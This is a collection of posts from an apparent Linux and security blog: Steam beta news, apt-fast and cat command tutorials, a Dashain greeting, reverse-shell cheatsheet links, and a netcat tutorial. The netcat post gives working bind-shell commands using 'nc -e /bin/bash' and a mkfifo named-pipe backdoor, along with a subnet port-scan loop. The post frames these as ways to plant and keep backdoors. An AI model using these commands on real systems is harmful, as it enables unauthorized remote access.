Steam for Linux Beta Survey Is Out

Lately, Valve Software, the vendor for steam has been showing lots of interest to develop games for linux platforms and offer linux users one of the best gaming experiences. Valve has today announced its survey for steam for linux beta.

Valve Software writes: We're looking for Linux gamers to install and test our new Steam for Linux client. We are primarily interested in experienced Linux users.



In order to take the survey, you need to first login with your Steam account to link your response with your Steam ID. Once you are ready for beta testing, you can login from this link. 1000 steam users will be chosen based upon the responses in the survey.

Steam community recently got its dedicated linux section and good for us, all these signs seem to indicate that Valve is trying to extend its market over the linux platform.


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Accelerate Your Softwares Update Speed Using Apt-fast

Long ago, I had posted about apt-fast script which used axel to create multiple HTTP connections and increase the download speed of software updates and packages. In this post, you will get the details for installing apt-fast from PPA. apt-fast is a shellscript wrapper for apt-get and aptitude that can drastically improve apt download times by downloading packages in parallel, with multiple connections per package.

As a pre-requisite, we will first install axel, a simple yet very useful command line download accelerator. Alternatively, you can also use aria accelerator with apt-fast.

samar@samar-Techgaun:~$ sudo apt-get install axel

Then you will have to add a PPA for apt-fast, update the database, and install apt-fast.

samar@samar-Techgaun:~$ sudo add-apt-repository ppa:apt-fast/stable
samar@samar-Techgaun:~$ sudo apt-get update
samar@samar-Techgaun:~$ sudo apt-get install apt-fast

You need to configure few options afterwards as below:

For manual installation and grabbing the source code, check the GitHub.

Once you install apt-fast, you can install softwares and perform updates from the repos using the command below:

samar@samar-Techgaun:~$ sudo apt-fast install package_name

I hope this becomes useful :)


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Linux Cat Command Examples

Cat is a standard unix tool to concatenate and display the content of files. In this post, I will present some examples of cat command so that you can use them in your scenario.

The cat command displays the content of file on the standard output. If multiple files are specified, the contents of all files will be concatenated and then displayed on the standard output. Likewise, if no file is specified, it will assume standard input (keyboard input) as the input to the command. The Ctrl + d is the shortcut used to save the contents in the appropriate output placeholder specified and exit the cat command.

Print content of file in standard output

samar@samar-Techgaun:~$ cat workers.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12

Print line numbers

samar@samar-Techgaun:~$ cat -n workers.txt 
     1 List of workers, designations & salary (in K):
     2 Kshitiz Director 30
     3 Bikky Manager  20
     4 
     5 
     6 Abhis Sweeper  10
     7 Rajesh Guard  12

Print line numbers for non-empty lines only

samar@samar-Techgaun:~$ cat -b workers.txt 
     1 List of workers, designations & salary (in K):
     2 Kshitiz Director 30
     3 Bikky Manager  20


     4 Abhis Sweeper  10
     5 Rajesh Guard  12

Create a new file

samar@samar-Techgaun:~$ cat > newfile.txt
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
^d

Display content of multiple files

samar@samar-Techgaun:~$ cat workers.txt newfile.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file

Combine multiple files to new file

samar@samar-Techgaun:~$ cat workers.txt newfile.txt > concat.txt
samar@samar-Techgaun:~$ cat concat.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file

Append data to existing file

samar@samar-Techgaun:~$ cat >> newfile.txt 
New line added
^d
samar@samar-Techgaun:~$ cat newfile.txt 
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
New line added

Alternatively, you can use the syntax below if you wish to create new file combining the content of already existing file and standard input.

samar@samar-Techgaun:~$ cat newfile.txt - > myfile
thanks for everything
^d
samar@samar-Techgaun:~$ cat myfile 
We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
New line added
thanks for everything

Another possibility is to combine two text files with data from standard input (keyboard) in-between the contents of these two text files.

samar@samar-Techgaun:~$ cat workers.txt - newfile.txt > myfile

----------------------------------

^d
samar@samar-Techgaun:~$ cat myfile 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20


Abhis Sweeper  10
Rajesh Guard  12

----------------------------------

We can create text files
using cat command
once u finish writing,
press ctrl+d to save file
New line added

Display $ sign at the end of each line

samar@samar-Techgaun:~$ cat -E workers.txt 
List of workers, designations & salary (in K):$
Kshitiz Director 30$
Bikky Manager  20$
$
$
Abhis Sweeper  10$
Rajesh Guard  12$

Display ^I sign instead of TABs

samar@samar-Techgaun:~$ cat -T workers.txt 
List of workers, designations & salary (in K):
Kshitiz^IDirector^I30
Bikky^IManager^I^I20


Abhis^ISweeper^I^I10
Rajesh^IGuard^I^I12

Display files with non-printing characters

samar@samar-Techgaun:~$ cat -v /bin/nc

In the example above, the non-printing characters are replaced with ^ and M- notation except for line breaks and TABs. This can be used to display the contents of binary files which would otherwise have shown gibberish text all over the console.

Show contents with tabs, line breaks and non-printing characters

samar@samar-Techgaun:~$ cat -A /bin/nc

The tab will be substituted by ^I, line breaks with $ and non-printing characters with ^ and M- notation. Actually, the -A switch is equivalent to -vET switch.

Supress/squeeze repeated empty lines

samar@samar-Techgaun:~$ cat -s workers.txt 
List of workers, designations & salary (in K):
Kshitiz Director 30
Bikky Manager  20

Abhis Sweeper  10
Rajesh Guard  12

Using -s switch, we can squeeze repeatedly occurring blank lines and replace all the adjacent empty lines with a single empty line in the output. This might be useful to reformat a file with several empty lines in-between (eg. cat -s workers.txt > formatted_workers.txt).

Display last line first

samar@samar-Techgaun:~$ tac workers.txt 
Rajesh Guard  12
Abhis Sweeper  10

Bikky Manager  20
Kshitiz Director 30
List of workers, designations & salary (in K):

It is the tac, not the cat that is doing the magic but just thought that this is the right place to make a note about this little known command.

Edit: Added here-doc examples. Thanks rho dai for pointing me this.

Parameter substitution using here-document strings

samar@samar-Techgaun:~$ cat > test << TEST
samar@samar-Techgaun:~$ I am $USER. My home is $HOME
samar@samar-Techgaun:~$ I came here from $OLDPWD
samar@samar-Techgaun:~$ TEST
samar@samar-Techgaun:~$ cat test 
I am samar. My home is /home/samar
I came here from /home/samar/Downloads

Command expansion example

samar@samar-Techgaun:~$ cat > test << TEST
samar@samar-Techgaun:~$ $(ls /)
samar@samar-Techgaun:~$ TEST
samar@samar-Techgaun:~$ cat test
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

Parameter substitution turned off

samar@samar-Techgaun:~$ cat > test << 'TEST'
samar@samar-Techgaun:~$ I am $USER. My home is $HOME
samar@samar-Techgaun:~$ I came here from $OLDPWD
samar@samar-Techgaun:~$ TEST
samar@samar-Techgaun:~$ cat test
I am $USER. My home is $HOME
I came here from $OLDPWD

Note the difference between the last example and previous two examples. Enclosing the limit string TEST with quotes prevents the substitutions and expansions.

I hope these examples are useful. :)


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Happy Vijaya Dashami 2069

Techgaun team would like to wish all our site visitors happy vijaya dashami 2069. May this dashain bring peace and prosperity in everyone's life and may the world be more peaceful place than ever.

I would like to include blessings (ashirbad / आशिर्वाद) offered during Dashain.

The mantra below is enchanted when elders offer tika to male member:

आयुर द्रोण सुते श्रेयम दशरथे , सत्रुक क्षेयम रघवे, ऐश्र्वर्यम नहुशे , गतिस्च पवने, मानन्च दुर्योधने, सौर्यम शान्त नवे, बलम हलधरे , सत्यस्च कुन्तीसुते , बिज्ञ।न बिदुरे, भवन्तु भबताम, किर्तिस्च नारायणे!

Ayur Drona sute sriyem Dasarathe, Satruk ksheyam Raghave, Yaishoryem Nahushe, Gatischa pawane, Manancha Duryodhane, Suaryam Shanta nave, Balam Haldhare, Satyaschha Kuntisute, Bigyanam Bidure, Bhawanu Bhabatam, Kirtischha Narayane!

The mantra below is enchanted when the tika is offered to the female members:

ॐ जयन्ती मङ्गला काली भद्रकाली कपालिनी । दुर्गा क्ष्यमा शिवा धात्री स्वहा स्वधा नमोस्तु ते ।।

Om Jayanti Mangala Kaali Bhadra Kali Kapalini Durga Kshyama shiva dhatri swaha swadha namostu te

Happy Vijaya Dashami 2069

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Reverse Shell Backdoor Cheatsheets Collection

Once you find your way to command execution after exploiting any of the flaws in web-apps, you look for interactive shell. You can do so by binding shell in some port or using reverse shell backdoor. Here are few links with awesome backdoor cheatsheet collections for obtaining reverse shell using different scripting languages:

PentestMonkey's Cheatsheet

Bernardo's Reverse Shells One-liners

GNU Citizen

In case you can't access pentest monkey, below is the cheatsheet in PNG format:

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Ubuntu Tweak Development Will Continue

Three days ago, Ubuntu Tweak developer Tualatrix had posted a blog post mentioning that the Ubuntu Tweak will no longer be developed but he has now changed his mind and has decided to continue the development because of support he received.

The developer writes
You made me know that Ubuntu Tweak is still valuable, and as the first software project I made 5 years ago, it is just like my baby, I don’t really want to give up the development.

and thanks all the good people who left the message for him and forked the app in github.

The blog post also mentions
Back to 5 years ago, I developed it just because of my practice on Linux programming, I felt freedom when I make things on Linux (Although I didn’t have developing experience on Windows and Mac then). But now I don’t feel any freedom about developing this software any more. The initial motivation is changed, and I’m still looking for new motivation.

Overall, he is not too satisfied with his current overload for working on this personal project while still managing time for his job and personal life.

Anyway, Ubuntu Tweak 0.8.1 is out and you can download from PPA.

PPA DEB link

Release Notes


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Ninja Fu With Netcat - Hacker's Swiss Army Knife

Netcat is one of my favorite tools for network investigations and backdoor planting. Netcat is a seemingly simple but very powerful and useful tool to read and write network connections using TCP or UDP. In this post, we will see several examples of using netcat in different scenarios.

First of all, if you are using distros like Ubuntu, they are probably including the OpenBSD netcat which does not provide a very useful switch that lets us execute any command. The netcat-traditional offers this switch so for learning purpose, you should install the netcat-traditional package by issuing the command below in Ubuntu & its derivatives (However, beware of inherent risk with this feature of the traditional netcat):

samar@samar-Techgaun:~$ sudo apt-get install netcat-traditional

Now you can use both OpenBSD and traditional versions by using nc.openbsd and nc.traditional respectively. However, the nc command might still be symbolically linked with nc.openbsd (/etc/alternatives/nc). If you want to permanently use nc to refer nc.traditional, type the following command (or do sudo rm /bin/nc && sudo ln -s /bin/nc.traditional /bin/nc):

samar@samar-Techgaun:~$ sudo update-alternatives --config nc

As I had already said, netcat is a very useful tool for network related works and hence often referred as Hacker's Swiss Army Knife and TCP/IP Swiss Army Knife. You can use netcat for several purposes such as file transfer, port scanning, listen server, bind & reverse shells, backdoors, etc. Because of this, netcat has been a favorite tool for hackers to get and maintain access to the servers.

Before beginning with the examples, I would like to inform you that most of the times ports above 1024 are used to create listen servers with netcat. This is because ports below 1024 are reserved by OS for core network services and you can not bind to these ports without special privilege to the system.

Simple Netcat Listen Server

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...

Simple Netcat Client

samar@samar-Techgaun:~$ nc -vvn 192.168.1.6 1234
(UNKNOWN) [192.168.1.6] 1234 (?) open

Once the client gets connected, the netcat listener might then look like this:

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.1.6] from samar-Techgaun.local [192.168.1.6] 38700

Noticed the port 38700 in the end? This is the port that the client uses to talk with the server. Observe that the value is much higher than 1024 and hence such ports are known as ephemeral port.

Once the client and server get connected, you can write anything and press ENTER. The data will get transmitted to the other end thus making netcat a data transfer tool.

Open Raw Connection With Netcat as client

samar@samar-Techgaun:~$ nc -vv ku.edu.np 80
Warning: inverse host lookup failed for 116.90.239.5: Unknown host
ku.edu.np [116.90.239.5] 80 (http) open
HEAD / HTTP/1.0\n\n

HTTP/1.1 200 OK
Date: Mon, 22 Oct 2012 04:46:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

sent 21, rcvd 171

As seen above, I opened the RAW connection to ku.edu.np and then issued HEAD / HTTP/1.0\n\n request to obtain the HTTP header. You can also notice (see web server version & PHP version?) that netcat can be used for basic fingerprinting and banner grabbing. Of course, this is not limited to HTTP fingerprinting. Extend the idea to work with other services.

Web Server Example Using Netcat

samar@samar-Techgaun:~/Desktop/test$ { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < my_file)\r\n\r\n"; cat my_file; } | nc -lv -p 8080
listening on [any] 8080 ...

This example taken from Wiki entry works as a one shot webserver hosting the my_file's content which can be accessed through web browser by specifying http://server:8080.

File Transfer Using Netcat

To transfer file from server to client, set up the server as below:

samar@samar-Techgaun:~$ cat my_file
I am DATA
samar@samar-Techgaun:~$ nc -lvp 1234 < my_file
listening on [any] 1234 ...

In the client end, do:

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234 > output.txt
samar-Techgaun.local [192.168.1.6] 1234 (?) open
^C sent 0, rcvd 10
samar@samar-Techgaun:~$ cat output.txt
I am DATA

Port Scanning With Netcat

samar@samar-Techgaun:~$ nc -nvz -w1 192.168.1.1 1-1024
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 23 (telnet) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open

If you wish to scan number of hosts (or full network), you can do something like below:

samar@samar-Techgaun:~/Desktop/test$ for ip in $(seq 1 254); do nc -nvz -w1 192.168.1.$ip 1-1024; done

In the first example, ports 1-1024 are scanned in the host 192.168.1.1 and in the second example, a class C network 192.168.1.0/24 is scanned. However, netcat is by no means an advanced port scanner and tools such as nmap are great for this job.

Spawn a process

The -e switch can be specified to spawn a process in the system. In the server, type the command below:

samar@samar-Techgaun:~$ nc -lv -p 1234 -e /bin/bash
listening on [any] 1234 ...

At the other end, you will just connect to the just started netcat service and then issue any command that the bash recognizes. Good for shells in the servers, isn't it?

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
samar-Techgaun.local [192.168.1.6] 1234 (?) open
ls
my_file
output.txt

Netcat backdoor using mkfifo

Since the normal pipe (|) is not so reliable & works in a unidirectional fashion, linux offers something called named pipes which can be exploited to create advanced backdoor in the systems which might not consist the netcat with -e support.

samar@samar-Techgaun:~$ mkfifo /tmp/b4ck; sh /tmp/b4ck | nc -lvp 1234 > /tmp/b4ck
listening on [any] 1234 ...

At the other end, you just need to connect to the newly created netcat service port:

samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
localhost [192.168.1.6] 1234 (?) open
ls
my_file
output.txt
sent 3, rcvd 33

I hope this post provides some directions on how to work with netcat and proves that netcat is called TCP/IP swiss army knife for the reason. There are other several possibilities with netcat. Explore to get more out of this awesome tool. ;)


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Ubuntu Studio - Ubuntu Derivation For Audio Video & Graphics Editor

Ubuntu Studio is a variant of Ubuntu aimed at the GNU/Linux audio, video and graphic enthusiast as well as professional. The distribution provides a collection of open-source applications available for multimedia creation. Ubuntu Studio is a free, open source and powerful operating system created for the creative people to create exceptional arts using right sets of tools for audio, video and graphical editing. As an officially recognized derivative of Ubuntu, Ubuntu Studio is supported by Canonical Ltd.

Ubuntu Studio is released every six months, but a long term release (LTS) version is released only every 2 years.

Audio apps include Jack, Ardour, Audacity, QTractor, Hydrogen, Yoshimi, Rakarrack, Gladish, Puredata and several other apps available for download.

Graphical apps include Blender, Inkscape, GIMP, MyPaint and several other apps.

Video apps include Openshot video editor, FFMPEG, DVDStyler, and other apps.

Photography apps include Darktable, Shotwell, and several other useful apps.

Calibre, Scribus and LibreOffice and other apps are available to suffice publishing needs.

Useful Links

Ubuntu Studio HOME

Ubuntu Studio Download

Ubuntu Studio Documentation


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